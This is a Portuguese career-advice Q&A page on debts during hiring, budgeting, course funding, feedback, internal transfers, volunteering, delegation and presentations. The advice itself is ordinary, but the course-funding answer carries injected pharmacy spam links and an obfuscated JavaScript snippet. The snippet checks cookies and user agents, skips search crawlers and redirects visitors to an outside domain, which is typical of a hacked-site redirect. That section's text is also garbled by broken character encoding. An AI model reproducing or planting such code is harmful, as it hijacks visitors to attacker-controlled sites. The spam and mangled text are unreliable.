Estou participando de um processo seletivo, mas tenho algumas dívidas em meu nome. Isso pode dificultar a minha contratação ou interferir na minha imagem dentro da empresa?
A organização financeira é um aspecto importante na vida pessoal, mas também na profissional. Hoje em dia, saber administrar bem o próprio dinheiro é uma qualidade que faz a diferença para muitos recrutadores. E para aqueles que trabalham na área financeira, caso o desequilíbrio econômico seja identificado, poderá, sim, eliminá-los do processo seletivo.
A questão principal é: “se o profissional não consegue organizar as finanças pessoais, como poderá tomar conta das finanças da empresa?”. Além disso, problemas financeiros, na maioria das vezes, acabam atrapalhando o dia a dia de trabalho do profissional, já que ele pode ficar disperso e angustiado, refletindo no seu desempenho.
Se você está com o nome sujo na praça, a melhor saída caso esteja participando de uma seleção é a sinceridade. Trace um plano de quitação realista e informe que o problema será resolvido, até estabelecendo prazos. Assim você evita que a empresa descubra depois, e também demonstra ter honestidade e planejamento, atitudes valorizadas no ambiente corporativo.
Matrícula e material escolar, IPTU, IPVA, parcelas dos presentes de Natal. Janeiro sempre chega trazendo muitas despesas extras que pesam no orçamento. E se você ainda não fez seu planejamento financeiro, está mais do que na hora de parar e se organizar.
Para quitar seus débitos sem correr o risco de começar o ano já endividado, a prioridade é analisar cada despesa separadamente e estipular as prioridades. Primeiro, deve-se pagar as taxas obrigatórias como IPTU, IPVA e matrícula escolar dos filhos. Uma boa estratégia é aproveitar os descontos ofertados nos pagamentos à vista. Se a reserva feita não for suficiente para aproveitar os descontos, procure um parcelamento que não implique em juros.
Quando o assunto é material escolar, pegue a lista de tudo o que precisa ser comprado e pesquise preço, pois sempre há diferenças de valores de um local para outro. Nesses casos, o melhor a se fazer é encomendar tudo e parcelar para pagar ao longo do ano. Mas não atrase a quitação dessas parcelas, pois os juros do cartão de crédito são altos e podem prejudicar todo o planejamento. Mas para quem puder arcar com esta despesa à vista, reunir-se com um grupo de pais para que todos façam as compras num mesmo estabelecimento pode garantir um bom desconto.
É importante também organizar os pagamentos fixos que estão programados e avaliar os seus recebimentos. É fundamental fazer, mês a mês, ajustes no orçamento para que caiba dentro da sua remuneração. Despesas extras com viagens ou compras desnecessárias devem ser contidas até que o ano de fato comece. Com essa organização você terá visibilidade sobre sua saúde financeira e tratará as dificuldades com muito mais propriedade.
Q http://trexgen.com/cheap-probalancspa/ http://army-sun.mhs.narotama.ac.id/2018/02/13/cheap-carbozyne-reviews/ http://www.bttpremiadedalt.com/2018/02/11/toprol-generic-side-effects/ uero iniciar um curso de especializaAi??A?o, mas preciso de uma ajuda de custo da empresa em que trabalho. Qual a melhor forma de abordar este assunto com meu gestor?
Primeiramente, Ai?? necessA?rio conhecer a polAi??tica da empresa em relaAi??A?o a esses casos. Caso nA?o haja um conjunto de regras estabelecidas sobre essa situaAi??A?o, Ai?? hora de comeAi??ar a pensar se a abordagem do curso Ai?? interessante para a empresa e no que ele poderA? acrescentar para a sua funAi??A?o atual ou para algum possAi??vel cargo que vocA? esteja no seu plano de carreira.
Em seguida, Ai?? recomendado sistematizar tudo e formular argumentos para mostrar ao gestor o valor da especializaAi??A?o para a sua carreira. Nessa etapa, Ai?? importante responder questAi??es como ai???por que o curso Ai?? importante?ai???, ai???em que ele pode agregar na empresa?ai??? e ai???quais conteA?dos estudados poderA?o ser colocados em prA?tica no dia a dia?ai???
TambAi??m Ai?? necessA?rio verificar os horA?rios da especializaAi??A?o pretendida para ter certeza de que eles nA?o coincidem com o perAi??odo de trabalho. Caso haja um choque de carga-horA?ria e seja necessA?rio fazer algum ajuste, tente jA? pensar em uma compensaAi??A?o do expediente ou das suas atividades para sugerir.
Apresente a proposta com os argumentos bem construAi??dos e tente mostrar, desde o inAi??cio, os benefAi??cios que o curso poderA? trazer a longo prazo. A socializaAi??A?o com os demais membros da equipe dos conhecimentos adquiridos e a elaboraAi??A?o de novos projetos, por exemplo, sA?o formas interessantes de estender para a empresa os benefAi??cios de uma especializaAi??A?o. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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A avaliação de desempenho, que visa analisar o desempenho individual ou de um grupo de funcionários levando em conta aspectos como comportamento, postura, conhecimento técnico e resultados, é cada vez mais comum nas empresas. Junto com a avaliação vem o feedback, quando o gestor deve passar para o avaliado todas as suas impressões. Mas como o profissional deve lidar com esta situação quando a crítica é negativa?
Estamos acostumados a ouvir a opinião de diferentes pessoas – colegas, chefes, familiares, cônjuge, amigos – sobre nossas escolhas e condutas. Porém, quando esses pareceres não são dos melhores, nem sempre reagimos de maneira adequada. Em geral, sofremos ao receber críticas. No ambiente profissional, que, muitas vezes, envolve competição e disputa, a avaliação desfavorável pode pesar ainda mais.
Diante de um feedback ruim, algumas atitudes precisam ser evitadas ao máximo, como negar a crítica, exaltar-se, desabar em lágrimas, acusar outra pessoa ou distorcer a informação para pior, julgando-se incompetente para aquele trabalho. Pode acontecer de você discordar da opinião de seu gestor, mas tente entender os motivos pelos quais ele chegou a tais conclusões. Se ele estiver mesmo equivocado, você será o maior interessado em discutir a respeito — de forma calma e habilidosa — e mudar a impressão que ele tem de seu trabalho. Mas para essa discussão é importante trazer exemplos práticos que corroborem suas percepções. Também é fundamental estar aberto a refletir sobre a percepção do outro, escutando atentamente o que lhe é dito.
As avaliações de desempenho devem ser experiências positivas e boas oportunidades para você conversar honestamente com o seu gerente sobre a progressão de sua carreira. Comportamentos inadequados não só podem fazer com que o avaliador enxergue imaturidade e descontrole emocional em você, como invalidam totalmente a oportunidade de aprendizado.
E ao fim da conversa, agradeça e diga que irá pensar no que foi falado. Cumpra o prometido, fazendo uma reflexão sobre o feedback e filtrando as informações que podem ser úteis para o seu aprimoramento profissional.
Chamei a atenção de outros setores por meus resultados e recebi um convite para assumir outra função. Porém, por eu ser parte importante da equipe, o meu gestor não quer me liberar para outro setor. Como devo lidar com essa situação?
Em primeiro lugar, é necessário refletir sobre a validade da troca de cargo. Deve-se analisar se essa mudança irá agregar novos desafios e experiências para o profissional antes de assumir o convite. Além disso, considerar os resultados que a empresa precisa alcançar e sua capacidade em colaborar com isso na nova atividade.
Caso a proposta não seja interessante, ou o momento não seja oportuno, é importante agradecer pelo reconhecimento e explicar as razões da impossibilidade. O importante é não fechar portas. Porém, se a promoção for interessante, vale a pena tentar convencer o gestor atual a aceitar a mudança.
Explique para ele os porquês de você ter interesse na proposta e o que a mudança de cargo poderá agregar na sua experiência, na sua carreira e no seu desenvolvimento profissional. Além disso, é necessário se comprometer a ajudar no processo de transição do cargo. Isto é, na passagem das demandas para o profissional substituto.
Porém, existe a possibilidade do gestor não aceitar a mudança, afinal, nenhum coordenador deseja perder um profissional de destaque na equipe. Nesse caso, converse com ele para estabelecer um possível plano de carreira para você continuar no mesmo setor.
Caso realmente não seja possível sair, nem vislumbrar possibilidades de desenvolvimento na área, a decisão passa a ser mais delicada e pessoal. Assim, vale a pena pensar se seria melhor procurar novas oportunidades em outro local.
No mercado atual, pensar em satisfazer o cliente e entregar resultados não é mais suficiente para as empresas. Olhar para a comunidade e o meio ambiente é vital, já que a responsabilidade social é tema de interesse global. Entretanto, um projeto de boas práticas precisa da participação dos colaboradores para se manter vivo. Muitos têm interesse, mas ainda não sabem como participar. O que fazer?
Todo envolvimento em ações de responsabilidade social exige, antes de mais nada, que a empresa olhe antes para o seu próprio ambiente interno e se questione se já está sendo socialmente responsável consigo mesma. Afinal, de nada adianta uma organização querer ter boas práticas com a comunidade em seu entorno se sua conduta com a saúde e segurança no trabalho não condizem com o discurso. Esse é um aspecto importante a se observar antes de participar.
Outro ponto importante é conhecer os projetos sociais difundidos dentro da empresa. Afinal, se o profissional não os conhece, não poderá ajudar a colocá-los em prática. Muitas empresas têm mais de um projeto ao qual o profissional pode se candidatar e ter uma experiência gratificante. O importante é ver qual o resultado esperado e com quais atividades você se identifica.
Também é fundamental que o profissional tenha realmente o desejo de participar, do contrário, pode cair no erro de forçar algo que não será gratificante para ele. Verificar se a organização é maleável e proporciona dias e horários específicos para o voluntariado também é importante.
Há empresas que organizam competições entre grupos, como gincanas e concursos de projetos, com premiações simbólicas e reconhecimento para os mais engajados. Se você se organizar para integrar essas ações sociais, verá que os ganhos pessoais e profissionais são grandes.
Outra forma de participar dos projetos é ajudando a divulgar dentro da empresa os frutos das práticas sociais adotadas. Isto irá proporcionar a manutenção do interesse daqueles que já participavam e estimular a vontande de outras pessoas em integrar o grupo dos socialmente ativos.
Acabei de ser promovido a gestor de uma equipe. Devo delegar todas as tarefas e só esperar os resultados?
Um erro muito comum entre os líderes é não acompanhar todas as demandas de trabalho delegadas. Muito se engana o gestor que acredita que, tendo passado uma tarefa, ela será executada a contento. Apenas delegar a atividade a pessoas com a competência técnica necessária não é garantia de sucesso.
Como gestor, é possível que não seja você quem vá executar uma determinada demanda, mas é sua responsabilidade acompanhar e garantir que ela seja bem executada. Por isso, é importante seguir algumas dicas:
– Mantenha sempre aberto o canal de comunicação com a equipe, com reuniões sistemáticas e pauta da conversa elaborada com antecedência para não deixar passar pontos importantes;
– Sempre que uma nova demanda for delegada, esclareça quais resultados são esperados e os prazos para conclusão;
– Alinhe sempre com a equipe quais processos serão necessários para concluir determinado projeto, evitante erros durante o percurso.
Por fim, nunca acredite que todos os integrantes da equipe entenderam 100% do que o trabalho pede. Pergunte sempre se precisam de alguma orientação ou informação adicional que facilite a conclusão da tarefa. Lembre-se que a monitoração do trabalho antes de vencer o prazo é fundamental para corrigir possíveis erros. A falta de acompanhamento pode ser um dos grandes equívocos cometidos por gestores de primeira viagem.
Ano novo, vida nova e… problemas antigos! O início de um novo ciclo é, com certeza, um momento importante para fazer reflexões, ponderar sobre o que mudar e onde melhorar.
Perder peso, iniciar o curso que ficou para depois, programar a viagem de férias com a família são algumas das resoluções mais comuns. Mas muitas dessas decisões da virada acabam virando promessas não cumpridas. Por que isso acontece?
Talvez porque nem sempre prometemos algo que possamos de fato cumprir. Essas promessas são feitas a nós mesmos apenas com o intuito de aliviar a culpa do que se deixou para trás, e não como uma decisão de fato. Outro fator para o descumprimento das resoluções é fato de não considerarmos a realidade. Analisar se o que está sendo idealizado é viável e essencial.
Além disso, para manter as promessas de final de ano, é preciso analisar os ganhos e as perdas com a execução, e quais condições estão sob o seu controle para que possa realizá-las. E também é preciso ter disciplina para fazer acontecer.
Se o desejo é fazer uma pós-graduação, por exemplo, é imprescindível começar uma reserva financeira e organizar o horário de trabalho para conciliar as novas responsabilidades. O mesmo serve para as férias em família e os projetos pessoais. O que não dá é deixar passar mais um ano sem realizar aquilo que é importante.
Quem já assistiu ao filme “Truque de Mestre” talvez não tenha se dado conta sobre uma frase dita por um dos personagens: “Chegue perto, mais perto. Quanto mais perto você estiver, mais fácil será te enganar.” Essa estratégia, muito utilizada por ilusionistas, nos traz uma boa reflexão sobre resolução de problemas.
Toda vez que estamos trabalhando em um projeto, nosso envolvimento é fundamental. Conhecer as variáveis, analisar possíveis soluções e montar uma estratégia de execução são etapas importantes da resolução de problemas. Mas o que muitos esquecem é que quando estamos muito envolvidos com uma situação, podemos deixar de perceber aspectos relevantes e que poderão impactar nos resultados.
Para evitar que nosso envolvimento atrapalhe, uma estratégia pode ser a elaboração de projetos em equipe. O trabalho em conjunto poderá ser rico, uma vez que cada profissional envolvido terá uma forma diferente de ver a mesma questão.
Outra dica é sempre mostrar o que esta sendo desenvolvido para outras pessoas que não estejam relacionadas diretamente com seu trabalho: perguntar se está claro e objetivo, se elas sentem falta de algum aspecto ou se encontram falhas.
Antes de fechar, distancie-se um pouco do assunto em questão e foque em outras tarefas. Refrescar a cabeça sobre o tema pode lhe trazer grandes insights. O importante é mudar a perspectiva, olhando o trabalho sob vários ângulos. Assim, descobrir as falhas “no truque” pode ser bem mais fácil e isso pode trazer mais qualidade para seu trabalho!
Nunca participei de uma reunião de diretoria e preciso preparar uma apresentação. Como faço para não cometer erros?
Apresentações de projetos ou de resultados para a diretoria, geralmente, são demandas realizadas pelo gerente ou líder da equipe. Mas, para quem nunca participou de reunião com o alto comando da empresa, é importante estar preparado para não cometer gafes.
Se uma tarefa como esta cair no seu colo, antes de tudo, alinhe com seu gestor o que é esperado da sua apresentação e qual é o estilo dos diretores. Se eles forem mais objetivos, deve-se ter cuidado para não demorar na fala e manter o foco.
Ser conciso, antecipar possíveis dúvidas, fornecer informações suficientes para permitir a tomada de decisão e responder prontamente as preocupações são atitudes que podem fazer a diferença entre a aceitação e a rejeição do que esta sendo apresentado.
Ter cuidado com a postura também é fundamental. Não fale com as mãos nas costas e olhe para todas as pessoas da plateia alternadamente. Há dois erros que as pessoas costumam cometer numa apresentação: falta de gestos ou excesso de gestos. Use-os, mas com moderação.
Por fim, antes de começar, revise todo o material, se possível, com seu gestor. Estar preparado é fundamental para sua imagem e a do seu gestor. No mais, é procurar manter a tranquilidade.
